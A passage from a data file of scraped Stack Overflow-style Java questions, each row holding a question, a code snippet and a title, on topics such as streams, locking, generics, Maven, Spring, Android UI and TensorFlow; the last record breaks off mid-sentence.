Tournament class with a List < Event > event member . An event has a Map < Localization , Set < Timeslot > > unavailableLocalizations member . I would like to count the distincts for all those timeslots values.So far I managed to count the distincts in just one map like this : But what I ca n't figure out is how to do that for all the maps instead of for just one.I guess I would need some way to take each event 's map 's values and put all that into the stream , then the rest would be just as I did .",event.getUnavailableLocalizations ( ) .values ( ) .stream ( ) .distinct ( ) .count ( ),Java Stream . Extracting distinct values of multiple maps +Java,"From this link , I understand `` Since the lock ( ) and unlock ( ) method calls are explicit , we can move them anywhere , establishing any lock scope , from a single line of code to a scope that spans multiple methods '' So what I understand from the above statement isSo basically 1 can call method1 and method2 in sequence and assume the call is thread safe.I am not sure if it 's true as said above.What if somebody just calls method2 when i am already executing method1/method2 pair ? Does n't it complicate things.I think a lock should be acquired and released in the function itself , before the control is returned from the function . Is my understanding correct ?",public class Test { Lock l = new ReentrantLock ( ) ; void myMethod1 ( ) { l.lock ( ) ; // Do my stuff here } void myMethod2 ( ) { // Do more stuff here l.unlock ( ) ; } },Understanding lock scope +Java,"I have a variable of following typeI am trying to create it like this : The code gives me `` Incompatible types '' ( while creating Pair with animal ) . Although variable test definition permits class of any type and animal defines boundary of any child class of animal , which is more strict than the original one . So should n't this assignment work ?","Pair < String , Class < ? > > test ; Class < ? extends Animal > animal = Tiger.class ; test = Pair.create ( `` tiger '' , animal ) ;",Generic type assignment says incompatible type for more restrictive assignment +Java,"I use incremental score calculator for my model . After several hours/days of optimization in `` full assert '' mode Score corruption exception thrown out : That 's scores differs in parameter timelineGapsScore . Score instance is created from score calculator object fields prioritiesScore , timelineGapsScore , requirementGapsScore and timelineVersionsScore . Going by log , instances of both scores are equivalent in these fields , but optaplanner engine find differences ( -86591/-2765/-422/-591 ) vs ( -86591/-2873/-422/-591 ) . How it 's possible ? I suspect references leaks on solution cloning ( it 's specific implementation and do deep copying ) , but careful code check does n't show such errors . UPD : I forgot to mention : optaplanner runs in daemon mode , model is capable to change facts in real-time . So I have suspicion on race conditions in model . But I do n't know how changes injection realized under hood of optaplanner ( it is n't enough info in docs ) .","java.lang.IllegalStateException : Score corruption : the workingScore ( -86591/-2765/-422/-591 ) is not the uncorruptedScore ( -86591/-2873/-422/-591 ) after completedAction [ ... ] : Uncorrupted : Score calculator 3718238 [ schedule=Schedule6422-2015-04-16T09:47:36.932 [ -86591/-2873/-422/-591 ] , prioritiesScore=-422 , timelineGapsScore=-2873 , requirementGapsScore=-86591 , timelineVersionsScore=-591 ] Corrupted : Score calculator 3717237 [ schedule=Schedule6422-2015-04-16T09:47:36.932 [ -86591/-2873/-422/-591 ] , prioritiesScore=-422 , timelineGapsScore=-2873 , requirementGapsScore=-86591 , timelineVersionsScore=-591 ]",OptaPlanner 's mythical score corruption +Java,"I have a maven project where I use several plugins ( pmd , checkstyle ) in the build and in the reporting section of the pom.xml . The former for enforcing several constraints and the latter for the site report . These invocations of the plugins mostly share common < configuration > elements and so far the only solution I found is to copy the respective XML fragments . Is there any way to avoid this duplication ? Example pom.xml fragments :",< project ... > ... < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-pmd-plugin < /artifactId > < version > $ { plugin.pmd.version } < /version > < configuration > < targetJdk > $ { target.java.version } < /targetJdk > < rulesets > < ruleset > $ { project.basedir } /codecheck/pmd-rules.xml < /ruleset > < /rulesets > < excludeRoots > < excludeRoot > $ { project.basedir } /target/generated-sources/protobuf/java < /excludeRoot > < /excludeRoots > < failOnViolation > $ { failOnStyleError } < /failOnViolation > < verbose > true < /verbose > < /configuration > < executions > < execution > < id > pmd-check < /id > < phase > validate < /phase > < goals > < goal > check < /goal > < goal > cpd-check < /goal > < /goals > < /execution > < /executions > < /plugin > < /plugins > ... < reporting > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-pmd-plugin < /artifactId > < version > $ { plugin.pmd.version } < /version > < configuration > < targetJdk > $ { target.java.version } < /targetJdk > < rulesets > < ruleset > $ { project.basedir } /codecheck/pmd-rules.xml < /ruleset > < /rulesets > < excludeRoots > < excludeRoot > $ { project.basedir } /target/generated-sources/protobuf/java < /excludeRoot > < /excludeRoots > < /configuration > < /plugin > < /plugins > < /reporting > ...,Share maven plugin configuration between build and reporting sections +Java,"I used to think C++ was the `` weird '' one with all the ambiguities with < and > , but after trying to implement a parser I think I found an example which breaks just about every language that uses < and > for generic types : This could be syntactically either interpreted as a generic method call ( g ) , or it could be interpreted as giving f the results of two comparisons.How do such languages ( especially Java , which I thought was supposed to be LALR ( 1 ) -parsable ? ) get around this syntactic ambiguity ? I just ca n't imagine any non-hacky/context-free way of dealing with this , and I 'm baffled at how any such language can be context-free , let alone LALR ( 1 ) -parsable ... ( It 's worth noting that even a GLR parser ca n't return a single parse for this statement with no context ! ! )","f ( g < h , i > ( j ) ) ;","How do Java , C++ , C # , etc . get around this particular syntactic ambiguity with < and > ?" +Java,"Given..IntelliJ IDEA 2016.1.1 reports that new Foo ( foo ) `` can be replaced with method reference '' .I 'm aware of the Foo : :new syntax for the no-arg constructor , but do n't see how I could pass foo in as an argument . I 'm surely missing something here .",List < Foo > copy ( List < Foo > foos ) { return foos .stream ( ) .map ( foo - > new Foo ( foo ) ) .collect ( Collectors.toList ( ) ) ; },Use of constructor reference where constructor has a non-empty parameter list +Java,Is there a simple way of using Guavas Splitter to split a string and retain the delimiters without using regex ? Something likeThat givesI know about Splitter.onpattern ( ) but that would require I give it a regular expression ( yet thats what am trying to avoid ) .,"String string = `` 1+2-3*40 '' ; Splitter splitter = Splitter.on ( CharMatcher.DIGIT.negate ( ) ) .retainDelimiters ( ) ; [ 1 , + , 2 , - , 3 , * , 40 ]",How to use Guavas Splitter and retain delimiters ( without regex ) ? +Java,I am trying kotlin for the first time.I was able to run compile the hello world program in kotlin on command line but I am not able to compile program where I want to include external java libraryDirectory structureCode compilation works fine but I am not able to run the programNeed help understanding how to run the above program .,"import com.google.gson.Gsondata class Person ( val name : String , val age : Int , val gender : String ? ) fun main ( args : Array < String > ) { println ( `` Hello world '' ) ; val gson = Gson ( ) val person = Person ( `` navin '' , 30 , null ) val personJson = gson.toJson ( person ) println ( personJson ) } ➜ kotlin tree.├── gson.jar├── json.jar└── json.kt0 directories , 3 files➜ kotlin ➜ kotlin kotlinc -classpath gson.jar json.kt -include-runtime -d json.jar➜ kotlin java -jar json.jar -cp gson.jar Hello worldException in thread `` main '' java.lang.NoClassDefFoundError : com/google/gson/Gson at JsonKt.main ( json.kt:7 ) Caused by : java.lang.ClassNotFoundException : com.google.gson.Gson at java.net.URLClassLoader.findClass ( URLClassLoader.java:381 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:424 ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Launcher.java:331 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:357 ) ... 1 more➜ kotlin",How to compile and run kotlin program in command line with external java library +Java,"Below is the mapped method that I am having trouble with , no matter what value I pass to it the validation returns `` passed validation . '' I know the @ Max works with my application because I use it for validation on custom objects that return a lot of data to the controller . It only does n't run the validation in this case where I call @ Valid and the type of validation on the object in the method parameters.Is this not allowed with hibernate-validator ? I am hoping to not have to define an object that only contains a long value just so that I can run validation on it .","@ RequestMapping ( value = `` test '' , method = RequestMethod.POST ) @ ResponseBodypublic String getTest ( @ RequestBody @ Valid @ Max ( 32 ) long longValue , BindingResult result ) { if ( result.hasErrors ( ) ) { return `` failed validation '' ; } else { return `` passed validation '' ; } }",Spring MVC with hibernate Validator to validate single basic type +Java,"Currently I 'm making UI for my app . I use Sliding Up Panel and Sliding Tabs ( tutorial with implementation explanation ) features . Both work fine . I even managed to implement them in one project , but that 's where problem comes in - Home and Event 's tabs are unresponsive when I touch them ( should open the page it 's representing ) , but they change when I slide between tabs . Here 's my layout code . This is where the problem is . I 'm sure of it.If I remove part that adds Sliding Up Panel features , clicking function enables.MainActivity.java","< LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : orientation= '' vertical '' tools : context= '' .MainActivity '' > < include android : id= '' @ +id/tool_bar '' layout= '' @ layout/tool_bar '' android : layout_height= '' wrap_content '' android : layout_width= '' match_parent '' / > < com.sothree.slidinguppanel.SlidingUpPanelLayout xmlns : sothree= '' http : //schemas.android.com/apk/res-auto '' android : id= '' @ +id/sliding_layout '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : gravity= '' bottom '' sothree : umanoPanelHeight= '' 68dp '' sothree : umanoShadowHeight= '' 4dp '' sothree : umanoParalaxOffset= '' 100dp '' sothree : umanoDragView= '' @ +id/dragView '' > < ! -- MAIN CONTENT -- > < RelativeLayout android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : orientation= '' vertical '' android : background= '' # ff0000 '' > < com.ui.test.SlidingTabLayout android : id= '' @ +id/tabs '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : background= '' @ color/ColorPrimary '' / > < android.support.v4.view.ViewPager android : id= '' @ +id/pager '' android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : layout_weight= '' 1 '' > < /android.support.v4.view.ViewPager > < /RelativeLayout > < ! -- SLIDING LAYOUT -- > < LinearLayout android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : background= '' # 55eeeeee '' android : orientation= '' vertical '' android : clickable= '' true '' android : focusable= '' false '' android : id= '' @ +id/dragView '' > < LinearLayout android : layout_width= '' match_parent '' android : layout_height= '' 68dp '' android : orientation= '' horizontal '' > < TextView android : id= '' @ +id/name '' android : layout_width= '' 0dp '' android : layout_height= '' match_parent '' android : layout_weight= '' 1 '' android : textSize= '' 14sp '' android : gravity= '' center_vertical '' android : paddingLeft= '' 10dp '' / > < Button android : id= '' @ +id/follow '' android : layout_width= '' wrap_content '' android : layout_height= '' match_parent '' android : textSize= '' 14sp '' android : gravity= '' center_vertical|right '' android : paddingRight= '' 10dp '' android : paddingLeft= '' 10dp '' / > < /LinearLayout > < ImageView android : layout_width= '' match_parent '' android : layout_height= '' 0dp '' android : layout_weight= '' 1 '' android : scaleType= '' fitStart '' android : src= '' @ drawable/daimage '' > < /ImageView > < /LinearLayout > < /com.sothree.slidinguppanel.SlidingUpPanelLayout > < LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : orientation= '' vertical '' tools : context= '' .MainActivity '' > < include android : id= '' @ +id/tool_bar '' layout= '' @ layout/tool_bar '' android : layout_height= '' wrap_content '' android : layout_width= '' match_parent '' / > < com.ui.test.SlidingTabLayout android : id= '' @ +id/tabs '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : background= '' @ color/ColorPrimary '' / > < android.support.v4.view.ViewPager android : id= '' @ +id/pager '' android : layout_height= '' match_parent '' android : layout_width= '' match_parent '' android : layout_weight= '' 1 '' > < /android.support.v4.view.ViewPager > public class MainActivity extends ActionBarActivity implements OnTouchListener { // Declaring Your View and Variables Toolbar toolbar ; ViewPager pager ; ViewPagerAdapter adapter ; SlidingTabLayout tabs ; CharSequence Titles [ ] = { `` Side '' , '' Front '' , `` Result '' } ; int Numboftabs =3 ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; // Creating The Toolbar and setting it as the Toolbar for the activity toolbar = ( Toolbar ) findViewById ( R.id.tool_bar ) ; setSupportActionBar ( toolbar ) ; // Creating The ViewPagerAdapter and Passing Fragment Manager , Titles fot the Tabs and Number Of Tabs . adapter = new ViewPagerAdapter ( getSupportFragmentManager ( ) , Titles , Numboftabs ) ; // Assigning ViewPager View and setting the adapter pager = ( ViewPager ) findViewById ( R.id.pager ) ; pager.setAdapter ( adapter ) ; // Assiging the Sliding Tab Layout View tabs = ( SlidingTabLayout ) findViewById ( R.id.tabs ) ; tabs.setDistributeEvenly ( true ) ; // To make the Tabs Fixed set this true , This makes the tabs Space Evenly in Available width // Setting Custom Color for the Scroll bar indicator of the Tab View tabs.setCustomTabColorizer ( new SlidingTabLayout.TabColorizer ( ) { @ Override public int getIndicatorColor ( int position ) { return getResources ( ) .getColor ( R.color.tabsScrollColor ) ; } } ) ; // Setting the ViewPager For the SlidingTabsLayout tabs.setViewPager ( pager ) ; tabs.setOnTouchListener ( new View.OnTouchListener ( ) { @ Override public boolean onTouch ( View v , MotionEvent event ) { v.getParent ( ) .requestDisallowInterceptTouchEvent ( false ) ; return false ; } } ) ; } @ Override public boolean onCreateOptionsMenu ( Menu menu ) { // Inflate the menu ; this adds items to the action bar if it is present . getMenuInflater ( ) .inflate ( R.menu.main , menu ) ; return true ; } @ Override public boolean onOptionsItemSelected ( MenuItem item ) { // Handle action bar item clicks here . The action bar will // automatically handle clicks on the Home/Up button , so long // as you specify a parent activity in AndroidManifest.xml . int id = item.getItemId ( ) ; //noinspection SimplifiableIfStatement if ( id == R.id.action_settings ) { return true ; } return super.onOptionsItemSelected ( item ) ; } @ Overridepublic boolean onTouch ( View v , MotionEvent event ) { // TODO Auto-generated method stub return false ; } }",Menu Tabs Do n't Respond +Java,I have a string like this : I want to split by '| ' by javabut I need to ignore < / and / > . How can I do this ? Seems like a regexp approach thisthe above string should split into:1f1a1|a2a3|a4f2,1|f1| < /a1|a2/ > < /a3|a4/ > |f2,split complex string +Java,"I have the following project tree : I have the following test class : ExpectedI expect properties.getName ( ) to read the value from resource childB in childB/src/main/resources/application-test.yaml.ResultI get nullReproductionGitHub : https : //github.com/kopax/adk/tree/adk-springOne liner : QuestionThere is a test called childC/src/test/java/childC/TestGreeter.java in the reproduction project which prove with childB.properties import that it is not a classpath issue.So here are my questions : Is spring limiting the classpath resolution somehow when using @ ConfigurationProperties ? I have n't found a way to read my application-test.ymlwithin a configuration @ Bean initialized in childA from the test scope of childB , how is this possible ?","├── app│ ├── build.gradle│ └── src│ ├── main│ │ ├── java│ │ │ └── child│ │ │ └── app│ │ │ └── Application.java│ │ └── resources│ │ └── application-default.yaml│ └── test│ └── java│ └── child│ └── app│ └── ApplicationTest.java├── build.gradle├── childA│ ├── build.gradle│ └── src│ └── main│ └── java│ └── child│ └── a│ ├── BaseGreeterImpl.java│ ├── ChildAConfig.java│ ├── Greeter.java│ └── MySpringProperties.java├── childB│ ├── build.gradle│ └── src│ └── main│ └── resources│ ├── application-test.yaml│ └── childB.properties├── childC│ ├── build.gradle│ └── src│ ├── main│ │ ├── java│ │ │ └── child│ │ │ └── c│ │ │ ├── ChildCConfig.java│ │ │ └── PropertyGreeterImpl.java│ │ └── resources│ │ └── childc.properties│ └── test│ └── java│ └── child│ └── c│ ├── TestYamlImport.java│ └── TestGreeter.java└── settings.gradle @ RunWith ( SpringJUnit4ClassRunner.class ) @ ContextConfiguration ( classes = { ChildCConfig.class } , loader = AnnotationConfigContextLoader.class ) @ ActiveProfiles ( `` test '' ) @ SpringBootTestpublic class TestYamlImport { @ Autowired private MySpringProperties properties ; @ Test public void readChildAYaml ( ) { assertThat ( properties.getName ( ) ) .isEqualTo ( `` it-is-another-thing '' ) ; } } git clone git @ github.com : kopax/adk.git & & cd adk & & git checkout adk-spring & & ./gradlew build -- info",How to load resource properties in a JUnit Spring context in a multi Gradle project ? +Java,I am implementing custom validation annotation using JSR 303 and I am getting below error . I am following details given at Cross field validation with Hibernate Validator ( JSR 303 ) Can someone please help me ?,java.lang.ClassCastException : com.sun.proxy. $ Proxy95 can not be cast to com.my.validator.FieldMatchat com.my.validator.FieldMatchValidator.initialize ( FieldMatchValidator.java:14 ) ~ [ classes/ : na ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintValidatorManager.initializeConstraint ( ConstraintValidatorManager.java:261 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintValidatorManager.createAndInitializeValidator ( ConstraintValidatorManager.java:183 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintValidatorManager.getInitializedValidator ( ConstraintValidatorManager.java:122 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree.getConstraintValidatorNoUnwrapping ( ConstraintTree.java:303 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree.getConstraintValidatorInstanceForAutomaticUnwrapping ( ConstraintTree.java:244 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree.getInitializedConstraintValidator ( ConstraintTree.java:163 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree.validateConstraints ( ConstraintTree.java:116 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree.validateConstraints ( ConstraintTree.java:87 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.metadata.core.MetaConstraint.validateConstraint ( MetaConstraint.java:73 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ] at org.hibernate.validator.internal.engine.ValidatorImpl.validateMetaConstraint ( ValidatorImpl.java:617 ) ~ [ hibernate-validator-5.2.4.Final.jar:5.2.4.Final ],JSR 303 implementation gives ClassCastException +Java,"I have a multi-level map as follows : Now I want to construct a list of string from the above map as follows : I have written as follows , but this is not working , in this context I have gone through the post as well : Java 8 Streams - Nested Maps to List , but did not get much idea .","Map < String , Map < String , Student > outerMap = { `` cls1 '' : { `` xyz '' : Student ( rollNumber=1 , name= '' test1 '' ) } , `` cls2 '' : { `` abc '' : Student ( rollNumber=2 , name= '' test2 '' ) } } [ `` In class cls1 xyz with roll number 1 '' , `` In class cls2 abc with roll number 2 '' ] List < String > classes = outerMap.keySet ( ) ; List < String > studentList = classes.stream ( ) .map ( cls - > outerMap.get ( cls ) .keySet ( ) .stream ( ) .map ( student - > `` In class `` + cls + student + `` with roll number `` + outerMap.get ( cls ) .get ( student ) .getRollNum ( ) + '' \n '' ) .collect ( Collectors.toList ( ) ) ;",Constructing list from multi level map in Java 8 +Java,I have a problem with understanding such generic method invocation : Here comes a context for above situation : The question is what role plays < T > before getObject ( objectName ) invocation ?,object = ObjectGenerator. < T > getObject ( objectName ) ; class GenClass < T > { private T object ; // ... some code public void initObject ( String objectName ) { object = ObjectGenerator. < T > getObject ( objectName ) ; } } class ObjectGenerator { public static < T extends Object > T getObject ( String name ) { // some code return someObject ; } },Generic method invocation with < T > +Java,"I am using Tensorflow java API ( 1.8.0 ) where I load multiple models ( in different sessions ) . Those models are loaded from .pb files using the SavedModelBundle.load ( ... ) method . Those .pb files were obtained by saving Keras ' models.Let 's say that I want to load 3 models A , B , C.To do that , I implemented a java Model class : Then I easily can instantiate 3 Model objects corresponding to my A , B and C models with this class and make predictions with those 3 models in the same java program.I also noticed that if I have a GPU , the 3 models are loaded on it.However , I would like only model A to be running on GPU and force the 2 others to be running on CPU.By reading documentation and diving into the source code I did n't find a way to do so . I tried to define a new ConfigProto setting visible devices to None and instantiate a new Session with the graph but it did n't work ( see code below ) .When I load the model , it uses the available GPU . Do you have any solution to this problem ? Thank you for your answer .","public class Model implements Closeable { private String inputName ; private String outputName ; private Session session ; private int inputSize ; public Model ( String modelDir , String input_name , String output_name , int inputSize ) { SavedModelBundle bundle = SavedModelBundle.load ( modelDir , `` serve '' ) ; this.inputName = input_name ; this.outputName = output_name ; this.inputSize = inputSize ; this.session = bundle.session ( ) ; } public void close ( ) { session.close ( ) ; } public Tensor predict ( Tensor t ) { return session.runner ( ) .feed ( inputName , t ) .fetch ( outputName ) .run ( ) .get ( 0 ) ; } } public Model ( String modelDir , String input_name , String output_name , int inputSize ) { SavedModelBundle bundle = SavedModelBundle.load ( modelDir , `` serve '' ) ; this.inputName = input_name ; this.outputName = output_name ; this.inputSize = inputSize ; ConfigProto configProto = ConfigProto.newBuilder ( ) .setAllowSoftPlacement ( false ) .setGpuOptions ( GPUOptions.newBuilder ( ) .setVisibleDeviceList ( `` '' ) .build ( ) ) .build ( ) ; this.session = new Session ( bundle.graph ( ) , configProto.toByteArray ( ) ) ; }",Specify either CPU or GPU for multiple models tensorflow java 's job +Java,"I have this code for drawing my parallax background Everything is working good when camera is not rotated.When it is rotated , I think tile ( this.mShape ) should be drawn four more times ( top , bottom , left and right ) so no empty space in the corner is visible . For example , when rotation is 45 degrees , but I ca n't figure out how to do this .","pGLState.pushModelViewGLMatrix ( ) ; final float cameraWidth = pCamera.getWidth ( ) ; final float cameraHeight = pCamera.getHeight ( ) ; final float shapeWidthScaled = this.mShape.getWidthScaled ( ) ; final float shapeHeightScaled = this.mShape.getHeightScaled ( ) ; //repositionfloat baseOffsetX = ( pParallaxValueX * this.mParallaxFactorX ) ; if ( this.mRepeatX ) { baseOffsetX = baseOffsetX % shapeWidthScaled ; while ( baseOffsetX > 0 ) { baseOffsetX -= shapeWidthScaled ; } } float baseOffsetY = ( pParallaxValueY * this.mParallaxFactorY ) ; if ( this.mRepeatY ) { baseOffsetY = baseOffsetY % shapeHeightScaled ; while ( baseOffsetY > 0 ) { baseOffsetY -= shapeHeightScaled ; } } //drawpGLState.translateModelViewGLMatrixf ( baseOffsetX , baseOffsetY , 0 ) ; float currentMaxX = baseOffsetX ; float currentMaxY = baseOffsetY ; do { //rows this.mShape.onDraw ( pGLState , pCamera ) ; if ( this.mRepeatY ) { currentMaxY = baseOffsetY ; //columns do { pGLState.translateModelViewGLMatrixf ( 0 , shapeHeightScaled , 0 ) ; currentMaxY += shapeHeightScaled ; this.mShape.onDraw ( pGLState , pCamera ) ; } while ( currentMaxY < cameraHeight ) ; //end columns pGLState.translateModelViewGLMatrixf ( 0 , -currentMaxY + baseOffsetY , 0 ) ; } pGLState.translateModelViewGLMatrixf ( shapeWidthScaled , 0 , 0 ) ; currentMaxX += shapeWidthScaled ; } while ( this.mRepeatX & & currentMaxX < cameraWidth ) ; //end rowspGLState.popModelViewGLMatrix ( ) ;",Parallax XY and rotation - tile calculation +Java,I have the following : The fruitMap is : When I attempt to build my code I get a : What is the issue ? Note that thiis call is inside of a method `` removeFruit ( ) '' inside my `` FruitImplementation '' class .,"fruitMap.remove ( fruitId , fruitProperties ) ; private Map < FruitId , FruitProperties > fruitMap = new HashMap < FruitId , FruitProperties > ( ) ; ERRORThe method remove ( Object ) in the type Map < MyImplementation.FruitId , FruitProperties > is not applicable for the arguments ( Map < MyImplementation.FruitId , FruitProperties > )",How to convert Java 8 map.remove to Java 1.6 ? +Java,"I 've noticed that calling equals ( `` '' ) ; in a method of a class is not generating any error within Eclipse . I 've never seen .equals called without something like string1.equals ( string2 ) ; .What 's going on here and when would calling equals ( ) by itself ever be used ? If I put that into a JUnit to test , it runs and passes .",package voodoo ; public class Equals { public void method ( ) { equals ( `` '' ) ; } },Calling equals ( `` '' ) ; by itself compiles and runs +Java,"I am using biometric authentication dialog but my cryptoObject is always null.I have a fragment but I also tried directly from the activity . Here is my code , private Handler biometricPromptHandler = new Handler ( ) ; Anybody knows what I am doing wrong ?","private Executor executor = command - > biometricPromptHandler.post ( command ) ; private void showBiometricPrompt ( String title , String description , BiometricsCompatCallback compatCallback ) { BiometricPrompt.PromptInfo promptInfo = new BiometricPrompt.PromptInfo.Builder ( ) .setTitle ( title ) .setSubtitle ( description ) .setNegativeButtonText ( `` Cancel '' ) .build ( ) ; BiometricPrompt biometricPrompt = new BiometricPrompt ( ( FragmentActivity ) context , executor , new BiometricPrompt.AuthenticationCallback ( ) { @ Override public void onAuthenticationError ( int errorCode , @ NonNull CharSequence errString ) { super.onAuthenticationError ( errorCode , errString ) ; compatCallback.onAuthenticationError ( errorCode , errString ) ; Log.d ( `` onAuthenticationError '' , `` : `` ) ; } @ Override public void onAuthenticationSucceeded ( @ NonNull BiometricPrompt.AuthenticationResult result ) { super.onAuthenticationSucceeded ( result ) ; Log.d ( `` result '' , `` : `` + ( result.getCryptoObject ( ) ) ) ; BiometricPrompt.CryptoObject authenticatedCryptoObject = result.getCryptoObject ( ) ; Log.d ( `` onAuthentionSucceeded '' , `` : `` + ( authenticatedCryptoObject==null ) ) ; if ( authenticatedCryptoObject ! = null ) { cipher = authenticatedCryptoObject.getCipher ( ) ; Log.d ( `` onAuthentionSucceeded '' , `` : `` ) ; compatCallback.onAuthenticationSuccessful ( cipher ) ; } else { Log.d ( `` cipher '' , `` onAuthenticationSucceeded : `` ) ; } } @ Override public void onAuthenticationFailed ( ) { Log.d ( `` onAuthenticationFailed '' , `` : `` ) ; super.onAuthenticationFailed ( ) ; compatCallback.onAuthenticationFailed ( ) ; } } ) ; biometricPrompt.authenticate ( promptInfo ) ; }",The CryptoObject in BiometricPrompt.AuthenticationResult is always null +Java,"In my code , Using country.getCities ( ) is costly ? Will JVM maintain the stacktrace for every call.. ? What is the best way to use ?",for ( City city : country.getCities ( ) ) { // do some operations } List < City > cityList = country.getCities ( ) ; for ( City city : cityList ) { // do some operations },Using for-each loop in java +Java,"These other questions hint at a solution but I have n't been able to get this to work : Could not resolve a binding for http : //schemas.xmlsoap.org/wsdl/soap/ServiceConstructionException when creating a CXF web service clientHow to package an Apache CXF application into a monolithic JAR with the Maven `` shade '' pluginWhen I start my application by doing java -Xdebug -jar myapp.jar I 'm getting a ServiceConstructionException : Could not resolve a binding for null when the app makes a SOAP call . The app and the SOAP call works just fine when I start the application in IntelliJ . Here is a minimal example reproducing the error : https : //github.com/stianlagstad/mainclass-and-jxf-problems-demo Steps to reproduce : - gradle clean build & & java -Xdebug -jar build/libs/mainclass-and-jxf-problems-demo.jar- Go to http : //localhost:4242/endpoint/ and see the errorCan anyone help me figure out which changes I have to do to make the SOAP call work ? Edit to provide more information : If I edit build.gradle to not exclude META-INF ( i.e . having configurations.compile.collect { it.isDirectory ( ) ? it : zipTree ( it ) } instead of configurations.compile.collect { it.isDirectory ( ) ? it : zipTree ( it ) .matching { exclude { it.path.contains ( 'META-INF ' ) } } } ) I get this error instead : Error : Could not find or load main class com.shadowjarcxfproblem.JettyLauncher ( when starting the app as a jar ) . Starting the app in IntelliJ still works however , and the SOAP call works then as well.The stacktrace for the cxf error :",org.apache.cxf.service.factory.ServiceConstructionException : Could not resolve a binding for null at org.apache.cxf.frontend.AbstractWSDLBasedEndpointFactory.createBindingInfo ( AbstractWSDLBasedEndpointFactory.java:352 ) at org.apache.cxf.frontend.AbstractWSDLBasedEndpointFactory.createEndpointInfo ( AbstractWSDLBasedEndpointFactory.java:259 ) at org.apache.cxf.frontend.AbstractWSDLBasedEndpointFactory.createEndpoint ( AbstractWSDLBasedEndpointFactory.java:144 ) at org.apache.cxf.frontend.ClientFactoryBean.create ( ClientFactoryBean.java:91 ) at org.apache.cxf.frontend.ClientProxyFactoryBean.create ( ClientProxyFactoryBean.java:157 ) at org.apache.cxf.jaxws.JaxWsProxyFactoryBean.create ( JaxWsProxyFactoryBean.java:142 ) at com.shadowjarcxfproblem.SoapServiceFactory.create ( SoapServiceFactory.java:36 ) at com.shadowjarcxfproblem.service.CalculatorServiceComponent $ CalculatorServiceImpl. < init > ( CalculatorService.scala:17 ) ... Caused by : org.apache.cxf.BusException : No binding factory for namespace http : //schemas.xmlsoap.org/soap/ registered . at org.apache.cxf.bus.managers.BindingFactoryManagerImpl.getBindingFactory ( BindingFactoryManagerImpl.java:93 ) at org.apache.cxf.frontend.AbstractWSDLBasedEndpointFactory.createBindingInfo ( AbstractWSDLBasedEndpointFactory.java:339 ) ... 75 more,ServiceConstructionException when creating a CXF web service client ( scala+java+wsdl2java ) +Java,// outputtruetruefalsetrue Why do n't all the strings have the same location in memory if all three have the same contents ?,String s1 = `` BloodParrot is the man '' ; String s2 = `` BloodParrot is the man '' ; String s3 = new String ( `` BloodParrot is the man '' ) ; System.out.println ( s1.equals ( s2 ) ) ; System.out.println ( s1 == s2 ) ; System.out.println ( s1 == s3 ) ; System.out.println ( s1.equals ( s3 ) ) ;,String equality vs equality of location +Java,I am looking in some puzzles for threads and I ca n't figure out why the following consistently prints 999999 : There is no notify on the same lock ( and spurious wakeup seem to be ignored ) .If a thread finishes does a notify get signalled or something ? How come main prints the result and not get `` stuck '' waiting ?,class Job extends Thread { private Integer number = 0 ; public void run ( ) { for ( int i = 1 ; i < 1000000 ; i++ ) { number++ ; } } public Integer getNumber ( ) { return number ; } } public class Test { public static void main ( String [ ] args ) throws InterruptedException { Job thread = new Job ( ) ; thread.start ( ) ; synchronized ( thread ) { thread.wait ( ) ; } System.out.println ( thread.getNumber ( ) ) ; } },Is a notify signalled on thread finish ? Why does this code sample work ? +Java,"I 'm trying to register a Office365 Api webhook per official api docs . I tried it in postman , all works as expected.Java Version : 1.7 ( I know ... ) I am working with the Play framework version 1.2.7.2HttpClient : org.apache.http.client.HttpClientRelevant documentation : The subscription process goes as follows : A client app makes a subscription request ( POST ) for a specific resource . It includes a notification URL , among other properties . The Outlook notifications service tries to validate the notification URL with the listener service . It includes a validation token in the validation request . If the listener service successfully validates the URL , it returns a success response within 5 seconds as follows : Sets the content type in the response header to text\plain . Includes the same validation token in the response body . Returns an HTTP 200 response code . The listener can discard the validation token subsequently . Depending on the URL validation result , the Outlook notifications service sends a response to the client app : If URL validation was successful , the service creates the subscription with a unique subscription ID and sends the response to the client . If URL validation was unsuccessful , the service sends an error response with an error code and other details . Upon receiving a successful response , the client app stores the subscription ID to correlate future notifications with this subscription.Postman request : Both requests 